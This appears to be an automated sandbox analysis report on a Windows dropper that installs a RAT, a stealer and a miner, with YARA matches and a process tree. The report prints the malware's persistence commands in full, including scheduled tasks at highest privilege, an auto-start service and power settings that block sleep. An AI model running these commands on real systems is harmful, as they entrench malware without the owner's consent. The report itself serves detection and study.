PE file contains executable resources (Code or Archives)
Source: H1pBxuA3W1wJGbhYT2DZXaLH.exe.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: crt[1].exe.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
PE file contains more sections than normal
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Number of sections : 11 > 10
Source: PowerExpertNT.exe.7.dr Static PE information: Number of sections : 11 > 10
Source: WinTrackerSP.exe.7.dr Static PE information: Number of sections : 11 > 10
Source: ExtreamFanV5.exe.7.dr Static PE information: Number of sections : 11 > 10
Source: streamer[1].exe.0.dr Static PE information: Number of sections : 12 > 10
Source: yTXn1eeuAPe6JeFa5Kfn6hMY.exe.0.dr Static PE information: Number of sections : 12 > 10
Sample file is different than original file name gathered from version info
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2243578576.0000021663EC8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename7zS.sfx.exe, vs 1719859269.0326595_setup.exe
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2234234346.0000021663EC8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename7zS.sfx.exe, vs 1719859269.0326595_setup.exe
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2242900895.00000216655EC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenewsoftgnu.exe$ vs 1719859269.0326595_setup.exe
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2234144752.0000021663D44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename7zS.sfx.exe, vs 1719859269.0326595_setup.exe
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2243578576.0000021663F96000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename7zS.sfx.exe, vs 1719859269.0326595_setup.exe
Yara signature match
Source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000000E.00000002.2560583044.000000C00023A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000000E.00000002.2571364769.000000C000802000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: super[1].exe.0.dr Static PE information: Section: ZLIB complexity 0.9995950838414634
Source: super[1].exe.0.dr Static PE information: Section: ZLIB complexity 0.993408203125
Source: super[1].exe.0.dr Static PE information: Section: ZLIB complexity 0.989501953125
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: Section: ZLIB complexity 0.9995950838414634
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: Section: ZLIB complexity 0.993408203125
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: Section: ZLIB complexity 0.989501953125
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Section: ZLIB complexity 1.0003120972938144
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Section: ZLIB complexity 0.9892077323717948
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Section: ZLIB complexity 0.9968646152862985
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Section: ZLIB complexity 0.9989420572916666
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: ExtreamFanV5.exe.7.dr Static PE information: Section: ZLIB complexity 1.0003120972938144
Source: ExtreamFanV5.exe.7.dr Static PE information: Section: ZLIB complexity 0.9892077323717948
Source: ExtreamFanV5.exe.7.dr Static PE information: Section: ZLIB complexity 0.9968646152862985
Source: ExtreamFanV5.exe.7.dr Static PE information: Section: ZLIB complexity 0.9989420572916666
Source: ExtreamFanV5.exe.7.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: PowerExpertNT.exe.7.dr Static PE information: Section: ZLIB complexity 1.0003120972938144
Source: PowerExpertNT.exe.7.dr Static PE information: Section: ZLIB complexity 0.9892077323717948
Source: PowerExpertNT.exe.7.dr Static PE information: Section: ZLIB complexity 0.9968646152862985
Source: PowerExpertNT.exe.7.dr Static PE information: Section: ZLIB complexity 0.9989420572916666
Source: PowerExpertNT.exe.7.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: WinTrackerSP.exe.7.dr Static PE information: Section: ZLIB complexity 1.0003120972938144
Source: WinTrackerSP.exe.7.dr Static PE information: Section: ZLIB complexity 0.9892077323717948
Source: WinTrackerSP.exe.7.dr Static PE information: Section: ZLIB complexity 0.9968646152862985
Source: WinTrackerSP.exe.7.dr Static PE information: Section: ZLIB complexity 0.9989420572916666
Source: WinTrackerSP.exe.7.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: AAAAKJKJEB.exe.9.dr Static PE information: Section: ZLIB complexity 0.9981215846994536
Source: AAAAKJKJEB.exe.9.dr Static PE information: Section: jkbeubqv ZLIB complexity 0.994320738549326
Source: amadka[1].exe.9.dr Static PE information: Section: ZLIB complexity 0.9981215846994536
Source: amadka[1].exe.9.dr Static PE information: Section: jkbeubqv ZLIB complexity 0.994320738549326
Source: classification engine Classification label: mal100.troj.spyw.evad.mine.winEXE@105/154@27/25
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66637030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 9_2_66637030
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx, 8_2_0040936C
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00409AD0 FindResourceA,SizeofResource,LoadResource,LockResource, 8_2_00409AD0
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Mutant created: \Sessions\1\BaseNamedObjects\IntelPowerExpert
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \BaseNamedObjects\Local\SM0:5664:64:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5408:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1776:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5076:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_2
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2716:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess424
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\Users\user\AppData\Local\Temp\tmpSTLpopstart Jump to behavior
Source: Yara match File source: 31.0.mp3doctorfree32_64.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000017.00000002.3364376195.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.2392814904.0000000000401000.00000020.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-64K5G.tmp, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe, type: DROPPED
Source: Yara match File source: C:\ProgramData\AIRP Next Stage 7.1.66\AIRP Next Stage 7.1.66.exe, type: DROPPED
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe File opened: C:\Windows\system32\bd704f588fd57c093cfcafb6b1bb24c44baa43f242637e92cfc325a2e2d9dea3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File read: C:\Windows\System32\GroupPolicy\gpt.ini Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2428969553.00000000234A4000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462448584.0000000023498000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2674787069.000000001D528000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2713735314.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: 1719859269.0326595_setup.exe ReversingLabs: Detection: 18%
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe String found in binary or memory: privacy.html]]></PrivacyAgreementUrl> <InstallTime>240</InstallTime> <AgreeUserLicense>0</AgreeUserLicense> <FoldBottom>1</FoldBottom> </Product>
Source: unknown Process created: C:\Users\user\Desktop\1719859269.0326595_setup.exe "C:\Users\user\Desktop\1719859269.0326595_setup.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 424 -ip 424
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 424 -s 284
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Process created: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Process created: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp "C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp" /SL5="$70066,5141152,54272,C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe"
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Process created: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process created: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe .\Install.exe /bfYudidAVdU "385137" /S
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process created: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe .\Install.exe /iwYBYdidlHmT "525403" /S
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe "C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe" -i
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "CIFUBVHI"
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe C:\ProgramData\WinTrackerSP\WinTrackerSP.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process created: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Jump to behavior
